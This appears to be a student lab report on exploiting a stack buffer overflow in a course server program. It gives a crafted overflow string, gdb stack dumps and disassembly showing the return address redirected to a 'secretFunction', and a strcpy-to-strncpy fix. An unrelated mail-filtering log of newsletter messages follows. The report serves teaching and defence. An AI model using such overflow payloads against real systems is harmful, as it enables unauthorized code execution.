Explanation:

- specially-crafted buffer overflow string:
  aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\x18\x0e\x40\x00
- I followed the instructions in Lecture 21 step by step, and first construct server client connection, and run disas clientComm to set the break point for leaving the function. Then I examine the contents of stackframe for clientComm function. Which print out the what is stored in frame pointer and return address and stored in stack pointer. And after done several procedures to check out I ran fffffffff at the client side and then run x /100b $rsp at the server terminal, this time it examine 100 bytes on the stack starting at the location pointed to by stack pointer.

```
(gdb)  x /100b $rsp
0x7fffffffdd10: 0xb0    0xdd    0xff    0xff    0xff    0x7f    0x00    0x00
0x7fffffffdd18: 0x78    0xdd    0xff    0xff    0xff    0x7f    0x00    0x00
0x7fffffffdd20: 0xa0    0xdd    0xff    0xff    0xff    0x7f    0x00    0x00
0x7fffffffdd28: 0x00    0x00    0x00    0x00    0x08    0x00    0x00    0x00
0x7fffffffdd30: 0x66    0x66    0x66    0x66    0x66    0x66    0x66    0x66
0x7fffffffdd38: 0x66    0x66    0x0a    0x00    0x00    0x00    0x00    0x00
0x7fffffffdd40: 0x10    0x30    0x60    0x00    0x00    0x00    0x00    0x00
0x7fffffffdd48: 0x00    0x00    0x00    0x00    0x0b    0x00    0x00    0x00
0x7fffffffdd50: 0xb0    0xdd    0xff    0xff    0xff    0x7f    0x00    0x00
0x7fffffffdd58: 0xd9    0x0c    0x40    0x00    0x00    0x00    0x00    0x00
0x7fffffffdd60: 0x98    0xde    0xff    0xff    0xff    0x7f    0x00    0x00
0x7fffffffdd68: 0xff    0xb5    0xf0    0x00    0x02    0x00    0x00    0x00
0x7fffffffdd70: 0x01    0x00    0x00    0x00
(gdb) print /x ((unsigned *) $rbp + 2)
$11 = 0x7fffffffdd58
```

As the screenshot shown there's 10 0x66 starting at the line 0x7fffffffdd30, which is the pattern that I sent from client side. And then I print out the ending position which is dd58, so there's 40 random characters in front of the last 4 hex.

```
Say something: aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\x18\x0e\x40\x00
You Said: aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa@
```

After knowing this, I ran disas secretFunction to have the following, for the first line which I see it has 00400e18 which should locate at the end of 40 a's to construct the string. Below is the screenshot that I sent the string and then reach the secret function.

```
(gdb) disas secretFunction
Dump of assembler code for function secretFunction:
   0x0000000000400e18 <+0>:     push   %rbp
   0x0000000000400e19 <+1>:     mov    %rsp,%rbp
   0x0000000000400e1c <+4>:     mov    $0x400fa8,%edi
   0x0000000000400e21 <+9>:     callq  0x4008f0 <puts@plt>
   0x0000000000400e26 <+14>:    mov    $0x1,%edi
   0x0000000000400e2b <+19>:    callq  0x400a00 <exit@plt>
End of assembler dump.
(gdb) cont
Continuing.
RECEIVED: aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa@RECEIVED BYTES: 43

You weren't supposed to get here!
[Inferior 1 (process 14337) exited with code 01]
```

Modification for server.c

- I have modified the line with strcpy function (strcpy(str, recvBuff);) that cause the buffer overflow vulnerability. This is because the strcpy function doesn't take the variable size as input so it doesn't know how long space it should reserve. I change it strncpy (strncpy(str, recvBuff, MAX_DATA_SIZE);) which take in the MAX_DATA_SIZE as variable length and it solves the buffer overflow vulnerability problem. Below is the output when I send the same string and it didn't reach the secret function this time.

```
//strcpy(str, recvBuff);
strncpy(str, recvBuff, MAX_DATA_SIZE);  // This is because the strcpy function doesn't take the variable size
                                        // as input so it doesn't know how long space it should reserve. I change it strncpy
                                        // (strncpy(str, recvBuff, MAX_DATA_SIZE);) which take in the MAX_DATA_SIZE as variable length and
                                        // the buffer overflow vulnerability problem.

/* send data to the client */
if (send(clntSockfd, str, strlen(str), 0) == -1) {
    perror("send failed");
    close(clntSockfd);
    exit(1);
}
```

```
RECEIVED: aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa@RECEIVED BYTES: 43


Breakpoint 1, 0x0000000000400ce7 in clientComm ()
```

Logfile contents from Mail directory

```
New message log:
From bounce-cn1-ZH_CNN_i_News_NDBAN04022024c706985b0-h-7aa3d0ac56=2@newsletters.cnn.com  Tue Apr  2 14:39:08 2024
 Subject: Welcome to Life, But Greener
  Folder: spamFolder                                                  44503
7
From bounce-cn1-ZH_CNN_i_News_NDBAN04022024c504415b0-h-e7922beb88=2@newsletters.cnn.com  Tue Apr  2 14:39:09 2024
 Subject: Are you enjoying this newsletter?
  Folder: spamFolder                                                  31292



New message log:
8
From bounce-cn1-ZH_CNN_i_News_NDBAN04022024c530248b0-h-f7ae1e8224=2@newsletters.cnn.com  Tue Apr  2 14:39:09 2024
 Subject: So long, friend!
  Folder: spamFolder                                                  22499



New message log:
9
From bounce-cn1-ZH_CNN_i_News_NDBAN04022024c504414b0-h-1da52b313a=2@newsletters.cnn.com  Tue Apr  2 14:39:11 2024
 Subject: Do you still want to receive these emails?
  Folder: spamFolder                                                  31376



New message log:
10



New message log:
From bounce-cn1-ZH_CNN_i_News_NDBAN04022024c503742b0-h-a0d54399e7=2@newsletters.cnn.com  Tue Apr  2 14:39:12 2024
 Subject: Hello! I have a question for you
  Folder: spamFolder                                                  42348
11
From bounce-cn1-ZH_CNN_i_News_NDBAN04022024c642134b0-h-8e3ff76924=2@newsletters.cnn.com  Tue Apr  2 14:39:12 2024
New message log:
13
From bounce-cn1-ZH_CNN_i_News_NDBAN04022024c498623b0-h-595dc202aa=2@newsletters.cnn.com  Tue Apr  2 14:39:13 2024
 Subject: Time to say goodbye?
  Folder: spamFolder                                                  41967



New message log:
14
From bounce-cn1-ZH_CNN_i_News_NDBAN04022024c525535b0-h-be10fc6019=2@newsletters.cnn.com  Tue Apr  2 14:39:13 2024
 Subject: =?UTF-8?Q?Hola,_=C2=A1pong=C3=A1monos_al_d=C3=ADa!?=
  Folder: spamFolder                                                  31243



New message log:
15



New message log:
From bounce-cn1-ZH_CNN_i_News_NDBAN04022024c526314b0-h-6b3385a350=2@newsletters.cnn.com  Tue Apr  2 14:39:14 2024
 Subject: Are you still enjoying this newsletter?
  Folder: spamFolder                                                  30066
16
From bounce-cn1-ZH_CNN_i_News_NDBAN04022024c513613b0-h-28b1ac0343=2@newsletters.cnn.com  Tue Apr  2 14:39:14 2024
 Subject: You will no longer receive this newsletter
  Folder: spamFolder                                                  32533



New message log:
17
From bounce-cn1-ZH_CNN_i_News_NDBAN04022024c529322b0-h-b6648e5e2f=2@newsletters.cnn.com  Tue Apr  2 14:39:14 2024
 Subject: Are you enjoying this newsletter?
  Folder: spamFolder                                                  45341
From bounce-cn1-ZH_CNN_i_News_NDBAN04022024c498621b0-h-a130a559a7=2@newsletters.cnn.com  Tue Apr  2 14:39:08 2024
 Subject: =?UTF-8?Q?Let=E2=80=99s_catch_up?=
  Folder: spamFolder                                                  40668
```